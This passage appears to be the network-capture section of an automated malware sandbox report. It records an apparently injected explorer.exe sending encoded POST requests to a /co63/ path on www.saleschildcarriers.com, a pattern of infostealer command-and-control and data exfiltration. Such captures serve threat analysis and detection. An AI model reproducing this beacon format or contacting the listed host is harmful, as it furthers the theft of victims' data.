Jul 20, 2023 11:46:59.597245932 CEST	1073	OUT	Data Raw: 73 28 4a 69 71 7a 6a 61 56 73 58 49 69 77 46 53 50 59 73 41 31 75 7a 33 70 51 69 67 43 4e 35 4a 52 45 6a 71 6d 51 4d 32 5a 79 65 7e 75 54 54 50 44 57 61 44 58 36 6f 38 50 53 4e 74 72 62 46 30 4d 57 57 70 72 74 36 76 70 78 32 32 61 56 64 41 52 62 Data Ascii: s(JiqzjaVsXIiwFSPYsA1uz3pQigCN5JREjqmQM2Zye~uTTPDWaDX6o8PSNtrbF0MWWprt6vpx22aVdARbLRWM1O3O4i4Q9JC2MAchYx4ADZQRQqylTxwyQzG5e7g2p44XW1Y8C5qPJIF096brNcOmyliW8QSASnsi7DclMnkuAdoMIHRPvkP9itLrcVJtyFNtMg15EaMt0JhtTgXoGDHC-m_BAkZzPFy4Z5e6Q7QMRAnJRLo7q
Jul 20, 2023 11:46:59.597282887 CEST	1078	OUT	Data Raw: 6f 42 78 38 59 70 72 37 52 32 69 63 31 42 36 42 75 32 76 35 4f 59 72 72 59 6b 32 79 43 39 39 62 4e 45 53 36 72 63 37 63 4a 50 2d 62 48 64 54 46 42 6b 6f 33 37 76 71 72 63 69 48 42 73 73 71 6d 69 42 68 30 45 56 67 74 38 28 74 54 2d 48 4c 4c 51 28 Data Ascii: oBx8Ypr7R2ic1B6Bu2v5OYrrYk2yC99bNES6rc7cJP-bHdTFBko37vqrciHBssqmiBh0EVgt8(tT-HLLQ(YOnTd2Mf_WscnFlubeeeYNtOphxWrg0(Ife1rxaNNwaTAEY8jRLXvGnRh2qMcRk9mJP02qPBx0fVMSn3U6IQQH5VCvctf1nUJdH3eqxBRi8vI(YQJcssQTwYO~fdZzE1TVUerzCOvo_jNAu19gpDVMBSv~3eKLfmh
Jul 20, 2023 11:46:59.597589016 CEST	1100	OUT	Data Raw: 49 46 38 75 50 65 5a 62 4e 6f 6e 34 67 6d 75 64 4c 6d 6b 46 69 64 78 79 67 4d 78 6a 37 4d 2d 48 6b 4e 6e 59 4f 4a 76 39 57 46 46 4d 77 4d 70 68 50 67 43 61 42 6d 65 63 74 43 36 56 42 48 71 50 69 4a 43 7a 4e 68 37 77 32 69 77 46 37 4f 34 42 31 47 Data Ascii: IF8uPeZbNon4gmudLmkFidxygMxj7M-HkNnYOJv9WFFMwMphPgCaBmectC6VBHqPiJCzNh7w2iwF7O4B1GekQ44kkWkWuDQ1srarqLaQhc28YCzGG0bdqiB(TAFwrLTPy2MhPHEMN8n1EnHcDxEZtYdGJWmPsf2CZ58OJaU6CJO(GT4IPdgzVV7SYhp(ry7xRzHFpIIB6N_YcAwbirEfOCRnr8QRus-(krbnsXLvx3qlQy922rg
Jul 20, 2023 11:46:59.613662958 CEST	1103	OUT	Data Raw: 43 42 5a 50 55 7e 4f 38 78 6f 79 6a 71 4c 4f 70 6c 46 32 72 6b 46 6a 53 4e 64 74 64 43 31 61 37 32 6a 34 4f 4b 6b 6b 4e 64 74 76 53 4a 6c 79 53 75 6d 68 6b 65 43 5f 35 49 37 6e 6f 56 64 74 62 71 46 49 55 79 6d 5f 53 47 45 78 7a 6f 41 74 70 70 7e Data Ascii: CBZPU~O8xoyjqLOplF2rkFjSNdtdC1a72j4OKkkNdtvSJlySumhkeC_5I7noVdtbqFIUym_SGExzoAtpp~aWS7FlCHaSRYURyHqmW7iO3S8ixshHyFuIM9CPotNr3taLtfHXa6vvq4d(TtvWKrXA1jcC3SaWHiop61NL6~olw~rpqwGlWwQMJ8bBlcu9Px2XaZ1BjwTTM~i8nOM95nzpaA7y_PzyfCsBQ~xDtcL1G00w24c~vh3
Jul 20, 2023 11:46:59.613708973 CEST	1108	OUT	Data Raw: 2d 73 32 51 62 62 68 79 78 54 53 7e 64 50 4e 67 49 65 4a 28 45 4a 39 69 51 28 4f 48 74 5a 64 71 72 57 39 57 45 54 55 6f 4b 56 58 43 41 52 4d 74 42 67 6c 56 6e 76 72 65 70 6b 4e 5a 54 6a 58 5a 43 4a 4b 66 5a 58 6a 7e 63 68 59 6b 37 49 64 32 68 39 Data Ascii: -s2QbbhyxTS~dPNgIeJ(EJ9iQ(OHtZdqrW9WETUoKVXCARMtBglVnvrepkNZTjXZCJKfZXj~chYk7Id2h9zS3DpkUewsiuPX-B55XLRTa4o2dE9A_KtCvbqSx4-9oet2SvS0Bc0xMrSUukSVqe_hrHbwk3E8aSw51BuHHSuJOtwqjpeLza7VP3avTZS5NaNV-KWntyf1STPEajXykvCMhWr4PLXySbGxDb4X8xNZGXLnkDqdd3b
Jul 20, 2023 11:46:59.613753080 CEST	1116	OUT	Data Raw: 55 69 74 34 70 6f 4c 37 43 59 76 6f 38 4f 39 48 47 7a 51 68 4e 33 35 37 57 78 77 7e 74 52 30 70 6a 76 32 31 59 4d 56 72 39 4c 69 43 48 30 45 4b 64 34 76 28 75 4b 52 42 48 6e 4e 49 49 34 75 49 59 7e 4f 6c 48 4a 71 67 50 53 6c 70 57 47 52 41 62 52 Data Ascii: Uit4poL7CYvo8O9HGzQhN357Wxw~tR0pjv21YMVr9LiCH0EKd4v(uKRBHnNII4uIY~OlHJqgPSlpWGRAbRwad1LzVDQ~wwt24~Zz1sRmwKIdRS6nJGbidUHkDa3qXjPD0vzzx2E~I1s4px-(fTLrIqA0UpcPNz_E7J8s_rkWDTbAtRW7d08xghfXVUkOrtOUYR7Q93Vc92msBbq4gV4uVyUgiL906mNfLAJ3TO4i8kucuybvfXk
Jul 20, 2023 11:46:59.614639997 CEST	1129	OUT	Data Raw: 36 35 71 54 37 30 37 44 34 66 6b 70 5a 61 6a 68 77 53 62 76 44 54 37 36 34 31 6c 6d 65 44 62 71 66 48 46 4b 53 37 74 43 6e 50 56 55 61 79 57 6b 59 36 41 6e 46 76 66 50 34 58 7a 38 75 44 32 5a 69 35 36 62 36 72 4d 6a 76 75 76 6c 73 59 55 59 6e 58 Data Ascii: 65qT707D4fkpZajhwSbvDT7641lmeDbqfHFKS7tCnPVUayWkY6AnFvfP4Xz8uD2Zi56b6rMjvuvlsYUYnXTcwtnhFY8P4C2n_3wx7w-KPNDZW58Yh1Wc-6_7Ka8gIvxe0HudGYOmldvV3fdKmhYjmEXSSf6uIAu2meK6KALjmnQurai4Yn_HalRKwdZuiXQDuAPicggpCJIPIpFwwxuNoJ6N4w_hMJDezWpCO9seKxhM1fCMkXS
Jul 20, 2023 11:47:00.118531942 CEST	1192	IN	HTTP/1.1 402 Payment Required Date: Thu, 20 Jul 2023 09:47:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 275 X-Sorting-Hat-ShopId: 78317551892 X-Frame-Options: DENY X-ShopId: 78317551892 X-ShardId: 275 Vary: Accept Server-Timing: processing;dur=26 X-Shopify-Stage: production Content-Security-Policy: frame-ancestors 'none'; report-uri /csp-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=b5755be8-b3ad-4420-ba97-0fa1ee78048b X-Content-Type-Options: nosniff X-Download-Options: noopen X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=b5755be8-b3ad-4420-ba97-0fa1ee78048b X-Dc: gcp-europe-west3,gcp-us-east1,gcp-us-east1 X-Request-ID: b5755be8-b3ad-4420-ba97-0fa1ee78048b CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LoEz99bmhVljZVFAucYeje2iBGamZ0dFb12M5QZ1VfK%2BiYpQZKT%2Bz3u61ASTEJ5SK12mV%2BCcYUZPjV%2B84NX0G0IFuTgwRqjylzZgpinsz5IGwfsiun Data Raw: Data Ascii:
Jul 20, 2023 11:47:00.118568897 CEST	1193	IN	Data Raw: 78 41 4c 70 31 42 68 4b 79 59 46 50 33 67 62 64 6c 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a Data Ascii: xALp1BhKyYFP3gbdl"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server-Timing: cfRequestDuration;dur=536.000013Server: cloudflareCF-RAY: 7e9a47ba4af22bf1-FRAalt-svc: h3=":443
Jul 20, 2023 11:47:00.118597031 CEST	1194	IN	Data Raw: 31 62 39 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 53 6f Data Ascii: 1b9e<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>Something went wrong.</title> <meta name="referrer" content="never" /> <style type="text/css"> * { border:0; margin:0; padding:0; -moz-box-sizing:border-b
Jul 20, 2023 11:47:00.118621111 CEST	1195	IN	Data Raw: 78 3b 20 6d 61 78 2d 77 69 64 74 68 3a 36 35 30 70 78 3b 20 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 20 70 61 64 64 69 6e 67 3a 32 30 70 78 3b 20 7d 0a 0a 20 20 20 20 2e 68 65 72 6f 20 7b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 30 70 78 Data Ascii: x; max-width:650px; margin:0 auto; padding:20px; } .hero { margin-bottom:30px; } .content--block { position:relative; margin-bottom:50px; } .content--desc { margin-bottom:32px; position:relative; } .content--desc-large { font
Jul 20, 2023 11:47:00.118647099 CEST	1197	IN	Data Raw: 20 73 6b 65 74 63 68 3a 74 79 70 65 3d 22 4d 53 41 72 74 62 6f 61 72 64 47 72 6f 75 70 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 39 37 2e 30 30 30 30 30 30 2c 20 2d 38 32 2e 30 30 30 30 30 30 29 22 3e 0a 20 20 20 Data Ascii: sketch:type="MSArtboardGroup" transform="translate(-297.000000, -82.000000)"> <g id="well-be-back" sketch:type="MSLayerGroup" transform="translate(299.000000, 84.000000)"> <path d="M209.391799,46.714415
Jul 20, 2023 11:47:00.118670940 CEST	1198	IN	Data Raw: 31 36 30 31 32 34 2c 34 32 2e 38 36 38 35 32 38 33 20 4c 31 33 35 2e 37 34 34 30 36 35 2c 33 37 2e 32 36 38 38 33 30 32 22 20 69 64 3d 22 53 74 72 6f 6b 65 2d 37 22 20 73 74 72 6f 6b 65 3d 22 23 42 34 42 35 42 34 22 20 73 74 72 6f 6b 65 2d 77 69 Data Ascii: 160124,42.8685283 L135.744065,37.2688302" id="Stroke-7" stroke="#B4B5B4" stroke-width="2" stroke-linecap="round" sketch:type="MSShapeGroup"></path> <path d="M0.458340557,61.6156981 L-0.149164087,54.5929811 C-0.410879257,5
Jul 20, 2023 11:47:00.118699074 CEST	1199	IN	Data Raw: 68 61 70 65 47 72 6f 75 70 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 30 35 2e 30 34 34 33 34 34 2c 34 33 2e 38 33 39 38 34 39 31 20 4c 34 2e 33 39 38 39 38 34 Data Ascii: hapeGroup"></path> <path d="M205.044344,43.8398491 L4.39898452,61.2733585" id="Fill-9" fill="#FFFFFF" sketch:type="MSShapeGroup"></path> <path d="M205.044344,43.8398491 L4.39898452,61.2733585" id="St
Jul 20, 2023 11:47:00.118721008 CEST	1200	IN	Data Raw: 38 39 2c 31 30 36 2e 30 33 39 30 31 39 20 37 32 2e 30 33 36 30 38 33 36 2c 31 30 37 2e 36 34 32 30 33 38 20 37 31 2e 36 31 35 30 33 34 31 2c 31 30 37 2e 39 35 31 30 39 34 20 43 36 39 2e 36 32 35 30 34 39 35 2c 31 31 32 2e 37 32 32 37 39 32 20 36 Data Ascii: 89,106.039019 72.0360836,107.642038 71.6150341,107.951094 C69.6250495,112.722792 67.8811858,114.945962 66.1312198,114.945962 C64.4626161,114.945962 63.2652353,112.974113 62.1071796,111.066792 C61.8827554,110.697283 61.6617214,110.333208 61.442

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49714	172.67.215.254	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:44:50.607834101 CEST	163	OUT	GET /co63/?aJElwV=gtjAeIS6VJWpMIOvAorICaUf7+ed7+VEBFwjlL0fBy8QswGl2t9TVUNzPjmUB+tmUyAO&lz=9rXXjDMXIb6HXH- HTTP/1.1 Host: www.saleschildcarriers.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 20, 2023 11:44:50.752696991 CEST	164	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 20 Jul 2023 09:44:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://www.saleschildcarriers.com/co63/?aJElwV=gtjAeIS6VJWpMIOvAorICaUf7+ed7+VEBFwjlL0fBy8QswGl2t9TVUNzPjmUB+tmUyAO&lz=9rXXjDMXIb6HXH- Strict-Transport-Security: max-age=31536000 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2LKVhN5b3wO%2BSzD%2F%2Fzgq9Bg5mgHW9xOBXsfhwGNRM0GBx2s6wrL%2BebnWtYOi%2BLTEVvvZpjh7%2BFAZ6eGVuaKjD8apijc34gMrzRu5KzefAzavr5v8ErbegST1hnIXrRWDy9WCkf7EaREkdp7Chw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7e9a44944f4a9158-FRA alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Jul 20, 2023 11:44:50.752728939 CEST	164	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49715	172.67.215.254	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:44:52.809835911 CEST	166	OUT	POST /co63/ HTTP/1.1 Host: www.saleschildcarriers.com Connection: close Content-Length: 1484 Cache-Control: no-cache Origin: http://www.saleschildcarriers.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.saleschildcarriers.com/co63/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 61 4a 45 6c 77 56 3d 6f 50 76 36 41 73 65 6a 5a 70 4b 5f 58 6f 36 6a 61 38 71 44 57 74 34 70 39 39 36 68 34 71 52 39 61 7a 31 42 28 59 67 65 48 6a 67 46 6b 78 44 5f 7e 34 68 43 46 51 45 4f 4d 52 69 46 46 4f 6c 56 46 6d 49 47 30 51 43 67 30 74 44 69 37 6f 68 63 46 4f 4a 6c 58 35 71 4b 6b 75 30 6e 6b 62 6b 72 53 67 28 57 6d 6b 4a 76 6d 56 4e 52 72 53 69 37 71 74 63 32 4a 4c 78 4b 71 74 70 43 6b 56 64 50 53 63 36 55 31 65 36 71 4a 69 44 34 4e 38 4c 61 39 38 4e 4a 67 55 4e 78 41 33 72 63 64 52 58 48 7a 4c 4b 65 72 68 4f 70 73 5f 54 77 61 6d 61 4e 66 6a 6c 75 72 61 31 65 50 50 6d 77 58 44 7e 49 39 4d 51 42 66 6a 4f 51 52 74 61 7a 4c 30 30 69 7e 2d 66 77 6a 32 68 69 50 31 61 55 30 6f 6e 64 35 55 48 67 57 75 6c 64 7a 59 32 58 56 79 52 4a 6a 33 58 52 74 44 47 6b 28 56 32 36 55 59 50 70 59 34 39 64 59 4c 6b 6c 4b 49 78 37 70 68 69 4a 75 36 51 6f 70 56 74 53 73 52 57 46 62 47 4c 4b 4d 4a 4d 62 6f 51 61 4c 59 62 45 44 35 4a 31 68 31 66 44 38 76 67 52 70 67 4d 36 58 45 59 58 42 76 2d 36 44 38 6c 75 52 4a 6c 32 71 7a 32 74 4e 72 53 69 55 38 76 6d 5f 6f 6a 67 39 37 78 73 7a 79 54 33 72 36 5a 78 76 55 56 42 35 53 63 58 42 59 36 36 46 42 53 6a 65 74 58 6e 59 6c 57 4b 51 65 72 4f 79 73 53 33 64 4e 68 68 31 6b 4f 4f 61 75 54 73 63 4b 68 48 49 39 6f 6b 4a 6a 4b 71 61 38 30 5a 71 77 5f 77 57 4a 58 4e 58 41 41 65 34 77 61 59 33 6f 55 41 58 61 6b 30 53 36 30 68 35 64 33 70 59 56 2d 41 7a 4a 65 76 37 34 6b 55 67 77 32 45 52 41 6f 71 4a 4d 73 4a 38 67 46 6e 56 48 66 30 43 6d 36 4d 65 49 38 41 4b 4a 64 35 57 53 73 38 55 63 35 61 50 34 69 48 54 39 4b 30 54 64 7a 59 76 6a 67 34 6c 6c 74 28 30 6e 31 51 7a 51 53 41 50 4f 33 36 5f 39 64 30 4f 52 46 62 47 30 76 34 39 31 42 76 6a 50 78 6b 4e 50 5f 5a 34 37 44 4d 75 50 76 30 6d 6f 4f 6e 45 6a 71 5a 6d 6c 67 35 78 77 68 59 43 32 30 6e 68 6d 5f 7a 5f 4b 61 6e 50 5a 37 39 70 58 2d 47 4b 52 34 32 35 75 61 66 54 68 54 4c 73 42 50 6b 4e 76 45 39 67 76 5f 73 5a 28 33 44 34 73 7a 28 70 72 72 45 42 53 70 45 54 6b 6d 37 54 71 5a 52 52 66 62 5a 6c 7a 32 6e 73 39 52 52 50 45 39 48 55 49 61 50 49 53 62 52 61 36 61 48 48 37 4b 59 78 78 4e 56 71 6f 4a 72 54 75 2d 50 43 56 76 78 53 7a 69 62 61 6d 71 6d 54 32 36 57 67 61 50 6c 67 76 35 48 71 38 69 71 39 31 63 31 71 38 39 68 44 66 67 47 33 78 47 41 74 47 4e 72 44 42 59 5a 42 42 67 6b 57 58 4b 31 4e 4c 56 42 57 64 59 56 74 46 50 34 37 31 42 35 47 48 74 79 64 49 65 44 48 49 66 6b 69 72 76 71 6b 50 68 45 55 73 6b 52 6b 34 45 5a 75 63 46 46 75 4b 75 30 55 45 32 52 6d 6e 46 41 70 67 6d 63 33 28 51 79 43 62 75 32 45 6f 38 6c 5f 31 76 63 78 6c 33 5a 36 64 4f 4c 72 48 6b 47 2d 5a 41 52 47 69 77 6a 4a 78 57 53 77 36 73 54 49 64 76 43 4d 78 41 52 4b 57 38 41 34 6c 49 71 42 51 7a 67 76 75 38 54 58 69 68 50 48 45 30 7a 73 51 68 6d 46 4a 6f 39 4a 4f 39 54 62 4e 78 38 65 4a 38 52 6c 62 30 41 43 6a 45 69 56 74 59 55 47 6d 48 71 6c 72 6d 35 32 72 50 30 47 7e 31 71 62 4a 48 68 6d 66 69 63 36 68 52 34 5f 50 35 44 43 70 48 44 44 49 36 41 74 36 5a 58 44 70 6f 31 76 70 74 73 76 66 49 72 65 47 37 4f 53 77 4d 51 6c 61 37 54 46 73 76 57 65 78 6d 6b 70 30 76 50 51 63 76 7a 72 6d 59 79 78 7a 56 30 57 41 6e 43 33 64 72 48 49 28 49 69 63 5a 68 61 68 6e 75 56 57 6d 37 6e 7a 47 6f 55 79 35 76 67 64 37 65 74 55 30 53 45 6b 63 42 70 6e 77 78 46 74 69 6f 66 4b 4e 74 70 41 39 52 46 6f 53 31 69 45 76 63 67 43 6f 69 43 70 33 7a 31 76 70 72 6d 4d 64 57 42 30 64 43 6f 65 36 49 64 42 48 30 41 45 4f 78 52 2d 4a 47 6b 6d 30 32 49 54 47 4d 58 38 4d 36 41 42 51 4c 4d 41 66 52 50 57 4a 53 28 65 38 4b 61 44 66 4f 53 6d 36 32 63 50 4a 48 72 4a 79 34 59 46 4f 58 34 38 4d 5a 43 6a 47 52 4d 78 50 4b 44 6e 76 79 75 65 59 64 49 67 72 56 36 74 51 71 6c 4e 4c 46 38 43 6e 46 72 4f 66 53 68 59 32 6f 31 51 70 54 69 6a 4f 79 62 76 31 5f 30 48 6d 68 73 79 50 6e 49 63 6c 42 38 77 76 33 65 38 73 48 6b 66 62 48 35 39 44 6d 37 65 4f 58 7e 6a 32 67 53 6f 54 64 28 42 37 38 4e 52 77 37 59 72 32 5a 34 44 76 6a 35 33 64 37 4a 70 46 76 65 4b 75 6c 59 30 41 5f 38 4d 59 39 49 33 6c 70 71 44 4d 56 75 65 28 41 6d 42 53 53 47 73 43 44 65 56 7e 68 50 6c 64 37 73 45 72 78 4f 65 7e 71 63 52 71 45 38 4e 50 65 41 30 54 55 4c 48 61 64 76 69 Data Ascii: aJElwV=oPv6AsejZpK_Xo6ja8qDWt4p996h4qR9az1B(YgeHjgFkxD_~4hCFQEOMRiFFOlVFmIG0QCg0tDi7ohcFOJlX5qKku0nkbkrSg(WmkJvmVNRrSi7qtc2JLxKqtpCkVdPSc6U1e6qJiD4N8La98NJgUNxA3rcdRXHzLKerhOps_TwamaNfjlura1ePPmwXD~I9MQBfjOQRtazL00i~-fwj2hiP1aU0ond5UHgWuldzY2XVyRJj3XRtDGk(V26UYPpY49dYLklKIx7phiJu6QopVtSsRWFbGLKMJMboQaLYbED5J1h1fD8vgRpgM6XEYXBv-6D8luRJl2qz2tNrSiU8vm_ojg97xszyT3r6ZxvUVB5ScXBY66FBSjetXnYlWKQerOysS3dNhh1kOOauTscKhHI9okJjKqa80Zqw_wWJXNXAAe4waY3oUAXak0S60h5d3pYV-AzJev74kUgw2ERAoqJMsJ8gFnVHf0Cm6MeI8AKJd5WSs8Uc5aP4iHT9K0TdzYvjg4llt(0n1QzQSAPO36_9d0ORFbG0v491BvjPxkNP_Z47DMuPv0moOnEjqZmlg5xwhYC20nhm_z_KanPZ79pX-GKR425uafThTLsBPkNvE9gv_sZ(3D4sz(prrEBSpETkm7TqZRRfbZlz2ns9RRPE9HUIaPISbRa6aHH7KYxxNVqoJrTu-PCVvxSzibamqmT26WgaPlgv5Hq8iq91c1q89hDfgG3xGAtGNrDBYZBBgkWXK1NLVBWdYVtFP471B5GHtydIeDHIfkirvqkPhEUskRk4EZucFFuKu0UE2RmnFApgmc3(QyCbu2Eo8l_1vcxl3Z6dOLrHkG-ZARGiwjJxWSw6sTIdvCMxARKW8A4lIqBQzgvu8TXihPHE0zsQhmFJo9JO9TbNx8eJ8Rlb0ACjEiVtYUGmHqlrm52rP0G~1qbJHhmfic6hR4_P5DCpHDDI6At6ZXDpo1vptsvfIreG7OSwMQla7TFsvWexmkp0vPQcvzrmYyxzV0WAnC3drHI(IicZhahnuVWm7nzGoUy5vgd7etU0SEkcBpnwxFtiofKNtpA9RFoS1iEvcgCoiCp3z1vprmMdWB0dCoe6IdBH0AEOxR-JGkm02ITGMX8M6ABQLMAfRPWJS(e8KaDfOSm62cPJHrJy4YFOX48MZCjGRMxPKDnvyueYdIgrV6tQqlNLF8CnFrOfShY2o1QpTijOybv1_0HmhsyPnIclB8wv3e8sHkfbH59Dm7eOX~j2gSoTd(B78NRw7Yr2Z4Dvj53d7JpFveKulY0A_8MY9I3lpqDMVue(AmBSSGsCDeV~hPld7sErxOe~qcRqE8NPeA0TULHadviMIhCYHlY1_0JTXbUOo9FCqrzx_68y_NlVKHuDONToD9eghXognpk6U(npnIjkH~mhuriyrd7AeDTKRJ0Wswj4qvu2emBu6yr~btUohwRLlYrZjYDHMXpzg).
Jul 20, 2023 11:44:52.927716017 CEST	319	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 20 Jul 2023 09:44:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://www.saleschildcarriers.com/co63/ Strict-Transport-Security: max-age=31536000 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RZ%2FP2fm9hVmIWbQeWZAhldnh4jXPMp1lrzWOmpv19fPCvYi1S9TXH6ik1HcxJsQ0mVcvariRhQWE8uiw81CkLphlDcaY%2FnTIYdkTBRaEAcqoRSejcUb%2BjEwL%2FYk1V5HqLuZmJc%2FlYZOyUgNCBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7e9a44a20aff18df-FRA alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Jul 20, 2023 11:44:52.927746058 CEST	319	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49716	172.67.215.254	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:44:52.832479000 CEST	179	OUT	POST /co63/ HTTP/1.1 Host: www.saleschildcarriers.com Connection: close Content-Length: 151296 Cache-Control: no-cache Origin: http://www.saleschildcarriers.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.saleschildcarriers.com/co63/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 61 4a 45 6c 77 56 3d 6f 50 76 36 41 74 6d 4e 66 5a 7e 4d 64 36 75 67 5a 50 53 78 53 4e 49 42 79 66 7e 34 36 39 63 61 58 46 34 71 28 5a 51 43 50 42 55 62 70 79 4c 5f 34 2d 30 45 66 67 45 4e 62 42 69 47 54 5f 5a 74 4d 56 34 65 30 55 61 65 30 74 4c 6c 6a 35 78 56 4e 4d 68 2d 5a 4a 6e 75 37 2d 77 45 67 5a 63 71 53 43 44 61 33 51 56 76 72 45 35 54 32 30 57 67 6f 5a 45 36 41 4b 64 49 68 49 31 62 78 57 55 70 44 4a 43 51 79 66 61 47 59 54 36 30 44 2d 6a 2d 7e 65 74 46 28 56 39 32 4b 56 57 56 61 7a 7a 39 28 70 79 47 6e 42 33 74 6b 65 58 75 50 6c 69 46 66 68 4a 39 73 62 46 33 46 73 48 4f 49 67 58 71 35 4c 6f 42 64 57 50 56 5a 4b 75 39 48 57 73 41 7a 4e 47 54 33 57 52 48 66 42 65 54 78 35 4c 51 34 57 76 4f 53 4c 63 68 67 70 4f 68 66 41 35 62 67 58 54 59 7a 6a 62 30 36 55 75 7a 56 4a 6a 30 62 36 4a 76 56 4b 6c 4e 49 5f 68 33 69 56 36 78 74 64 49 65 70 47 31 34 38 43 6d 47 52 31 54 4e 4e 4c 6b 4c 69 51 57 61 56 37 63 66 33 71 74 56 31 66 48 6b 75 44 4d 51 6c 4d 36 52 41 62 6a 51 76 2d 79 44 38 6c 7e 42 4a 58 4f 71 68 6c 31 61 38 67 4b 4c 6c 66 6d 61 72 7a 51 55 78 69 35 5f 79 54 6e 5f 72 36 52 76 54 58 56 35 58 38 6e 4f 61 36 36 46 50 79 6a 63 74 58 6e 51 6c 57 4c 30 65 70 75 2d 76 53 28 64 46 41 64 33 6b 39 57 51 6f 41 77 38 46 68 48 4d 38 71 4e 55 6e 4c 47 79 38 33 34 35 7a 66 55 57 64 47 35 55 4c 42 4f 38 67 6f 67 30 6a 30 30 48 54 45 4d 34 36 30 74 43 63 32 35 36 66 2d 39 72 49 65 76 6b 33 31 34 4a 6d 48 45 64 62 74 58 56 54 62 74 50 68 31 6a 37 48 5f 67 48 6f 36 31 52 4a 2d 